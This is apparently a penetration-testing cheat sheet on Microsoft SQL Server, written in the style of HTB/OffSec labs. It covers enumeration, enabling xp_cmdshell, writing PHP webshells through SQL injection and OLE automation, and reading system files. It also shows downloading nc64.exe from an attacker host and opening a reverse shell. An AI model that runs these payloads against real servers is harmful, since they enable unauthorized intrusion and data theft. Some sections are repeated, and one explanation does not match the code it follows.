Skip to content

MSSQL - Microsoft SQL Server

Related resources

Languages and dictionaries
Server Dictionary
MySQL MySQL payloads.
MSSQL MSSQL payloads.
PostgreSQL PostgreSQL payloads.
Oracle Oracle SQL payloads.
SQLite SQLite payloads.
Cassandra Cassandra payloads.
Attack-based dictionaries

Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network. Wikipedia.

By default, MSSQL uses ports TCP/1433 and UDP/1434.  However, when MSSQL operates in a "hidden" mode, it uses the TCP/2433 port.

MSSQL Databases

MSSQL has default system databases that can help us understand the structure of all the databases that may be hosted on a target server.

Default System Database Description
master Tracks all system information for an SQL server instance
model Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database
msdb The SQL Server Agent uses this database to schedule jobs & alerts
tempdb Stores temporary objects
resource Read-only database containing system objects included with SQL server

Table source: System Databases Microsoft Doc and HTB Academy

Authentication Mechanisms

MSSQL supports two authentication modes, which means that users can be created in Windows or the SQL Server:

  • Windows authentication mode: This is the default, often referred to as integrated security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials.
  • Mixed mode: Mixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.

MSSQL Clients

1
locate mssqlclient

Of the MSSQL clients listed above, pentesters may find Impacket's mssqlclient.py to be the most useful due to SecureAuthCorp's Impacket project being present on many pentesting distributions at install.

Database configuration

When an admin initially installs and configures MSSQL to be network accessible, the SQL service will likely run as NT SERVICE\MSSQLSERVER. Connecting from the client-side is possible through Windows Authentication, and by default, encryption is not enforced when attempting to connect.

Authentication being set to Windows Authentication means that the underlying Windows OS will process the login request and use either the local SAM database or the domain controller (hosting Active Directory) before allowing connectivity to the database management system.

Misconfigurations to look at:

  • MSSQL clients not using encryption to connect to the MSSQL server.
  • The use of self-signed certificates when encryption is being used. It is possible to spoof self-signed certificates
  • The use of named pipes
  • Weak & default sa credentials. Admins may forget to disable this account.##

The SA password for SQL Server is the SQL Administrator account built into the program.  The SA password is established during the installation of SQL Server.

Interact with MSSQL

From Linux

sqsh

If we are targetting MSSQL from Linux, we can use sqsh as an alternative to sqlcmd: sqsh

1
2
3
4
5
6
sqsh -S $IP -U username -P Password123 -h
# -h: disable headers and footers for a cleaner look.

# When using Windows Authentication, we need to specify the domain name or the hostname of the target machine. If we don't specify a domain or hostname, it will assume SQL Authentication.
sqsh -S $ip -U .\\<username> -P 'MyPassword!' -h
# For windows authentication we can use  SERVERNAME\\accountname or .\\accountname

mssqlclient.py from impacket

We can run impacket-mssqlclient to connect to the remote Windows machine running MSSQL by providing a username, a password, and the remote IP, together with the -windows-auth keyword. This forces NTLM authentication (as opposed to Kerberos).

1
2
3
mssqlclient.py -p $port username@$ip 

#Example: impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth

If we can guess or gain access to credentials, this allows us to remotely connect to the MSSQL server and start interacting with databases using T-SQL (Transact-SQL). Authenticating with MSSQL will enable us to interact directly with databases through the SQL Database Engine. From Pwnbox or a personal attack host, we can use Impacket's mssqlclient.py to connect as seen in the output below. Once connected to the server, it may be good to get a lay of the land and list the databases present on the system.

1
2
python3 mssqlclient.py Administrator@$ip -windows-auth  
# With python3 mssqlclient.py help you can see more options.

From Windows

sqlcmd  | Guide

The sqlcmd utility lets you enter Transact-SQL statements, system procedures, and script files through a variety of available modes:

  • At the command prompt.
  • In Query Editor in SQLCMD mode.
  • In a Windows script file.
  • In an operating system (Cmd.exe) job step of a SQL Server Agent job.

Careful. In some environments the command GO needs to be in lowercase.

1
sqlcmd -S $IP -U username -P Password123

GUI Application

mssql-cli, mssqlclient.py, dbeaver

SQL Server Management Studio or SSMS

Only in windows. Download, install, and connect to database.

dbeaver

dbeaver is a multi-platform database tool for Linux, macOS, and Windows that supports connecting to multiple database engines such as MSSQL, MySQL, PostgreSQL, among others, making it easy for us, as an attacker, to interact with common database servers.

1
2
3
4
5
6
7
# Install dbeaver
sudo dpkg -i dbeaver-<version>.deb

# Run dbeaver
dbeaver &

# Once we have access to the database using a command-line utility or a GUI application, we can use common [Transact-SQL statements](https://docs.microsoft.com/en-us/sql/t-sql/statements/statements?view=sql-server-ver15) to enumerate databases and tables containing sensitive information such as usernames and passwords.

mssqlclient.py from impacket

Alternatively, we can use the tool from Impacket with the name mssqlclient.py.

1
mssqlclient.py -p $port username@$ip

If we can guess or gain access to credentials, this allows us to remotely connect to the MSSQL server and start interacting with databases using T-SQL (Transact-SQL). Authenticating with MSSQL will enable us to interact directly with databases through the SQL Database Engine. From Pwnbox or a personal attack host, we can use Impacket's mssqlclient.py to connect as seen in the output below. Once connected to the server, it may be good to get a lay of the land and list the databases present on the system.

1
2
python3 mssqlclient.py Administrator@$ip -windows-auth  
# With python3 mssqlclient.py help you can see more options.

Basic commands

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# Get Microsoft SQL server version
select @@version;

# Get usernames
select user_name()
go 

# We need to use GO after our query to execute the SQL syntax. 
# List databases
SELECT name FROM master.dbo.sysdatabases
go

# Select a database
USE $dbName
go
## Examples: Select a database master
## USE master

# Check out which one is the current selected database
SELECT DB_NAME()
go

# Show tables
SELECT table_name FROM $dbName.INFORMATION_SCHEMA.TABLES
go

# Select a database and show content of a specific table.  
USE $dbName
SELECT * FROM $tableName 

# Example: Select all Data from Table "users". The name of the table ("users") was obtained when running the command for showing the tables.
SELECT * FROM users
go

# Get a list of users in the domain
SELECT name FROM master..syslogins
go

# Get a list of users that are sysadmins
SELECT name FROM master..syslogins WHERE sysadmin = 1
go

# And to make sure: 
SELECT is_srvrolemember('sysadmin')
go
# If your user is admin, it will return 1.


#####################
# To list all the available databases, we can select all names from the system catalog.
SELECT name FROM sys.databases;

# We can review this database by querying the tables table in the corresponding information_schema. If we saw offsec as an existing database, this is how we would list tables in that database.
SELECT * FROM offsec.information_schema.tables;

# Following the example, now we saw the table users (in the database offsec), and we want to see their records:
select * from offsec.dbo.users;

Also, you might be interested in executing a cmd shell using xp_cmdshell by reconfiguring sp_configure (see the section Executing cmd shell in a SQL command line).

In Microsoft SQL Server, the xp_cmdshell function takes a string and passes it to a command shell for execution. The function returns any output as rows of text. The function is disabled by default and once enabled, it must be called with the EXECUTE keyword instead of SELECT.

Write files using MSSQL

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

1
2
3
4
sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

After logging in from our Kali VM to the MSSQL instance, we can enable show advanced options by setting its value to 1, then applying the changes to the running configuration via the RECONFIGURE statement. Next, we'll enable xp_cmdshell and apply the configuration again using RECONFIGURE.

With this feature enabled, we can execute any Windows shell command through the EXECUTE statement followed by the feature name.

1
EXECUTE xp_cmdshell 'whoami';

Although the various MySQL database variants don't offer a single function to escalate to RCE, we can abuse the SELECT INTO_OUTFILE statement to write files on the web server. For this attack to work, the file location must be writable to the OS user running the database software. Example:

1
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //

The written PHP code file results in the following:

1
<? system($_REQUEST['cmd']); ?>

To trigger it, go to:

1
http://$ip/tmp/webshell.php?cmd=id

Create files using MSSQL

1
2
3
4
5
6
7
8
# Using MSSQL to Create a File
DECLARE @OLE INT;
DECLARE @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>';
EXECUTE sp_OADestroy @FileID;
EXECUTE sp_OADestroy @OLE;

Read files using MSSQL

1
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Executing cmd shell in a SQL command line

Our goal can be to spawn a Windows command shell and pass in a string for execution. For that Microsoft SQL syntaxis has the command xp_cmdshell, that will allow us to use the SQL command line as a CLI.

Because malicious users sometimes attempt to elevate their privileges by using xp_cmdshell, xp_cmdshell is disabled by default.  xp_cmdshell can be enabled and disabled by using the Policy-Based Management or by executing sp_configure

sp_configure displays or changes global configuration settings for the current settings. This is how you may take advantage of it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# To allow advanced options to be changed.   
EXECUTE sp_configure 'show advanced options', 1
go

# To update the currently configured value for advanced options.  
RECONFIGURE
go

# To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
go

# To update the currently configured value for this feature.  
RECONFIGURE
go

Note: The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account

Now we can use the MSSQL terminal to execute commands:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# Who am i?
xp_cmdshell 'whoami'
go

# This will return the .exe files existing in the current directory
EXEC xp_cmdshell 'dir *.exe'
go

# To print a file
EXECUTE xp_cmdshell 'type c:\Users\sql_svc\Desktop\user.txt
go

# With this (and a "python3 -m http.server 80" from our kali serving a file) we can upload a file to the attacked machine, for instance a reverse shell like nc64.exe
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://IPfromOurKali/nc64.exe -outfile nc64.exe"
go

# We could also bind this cmd.exe through the nc to our listener. For that open a different tab in kali and do a "nc -lnvp 443". When launching the reverse shell, we'll get a powershell terminal in this tab by running:
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe IPfromOurKali 443";
# You could also upload winPEAS and run it from this powershell command line

There are other methods to get command execution, such as adding extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts.

Another approach:

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

1
2
3
4
sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

After logging in from our Kali VM to the MSSQL instance, we can enable show advanced options by setting its value to 1, then applying the changes to the running configuration via the RECONFIGURE statement. Next, we'll enable xp_cmdshell and apply the configuration again using RECONFIGURE.

With this feature enabled, we can execute any Windows shell command through the EXECUTE statement followed by the feature name.

1
EXECUTE xp_cmdshell 'whoami';
Last update: 2025-12-14
Created: January 6, 2023 21:39:12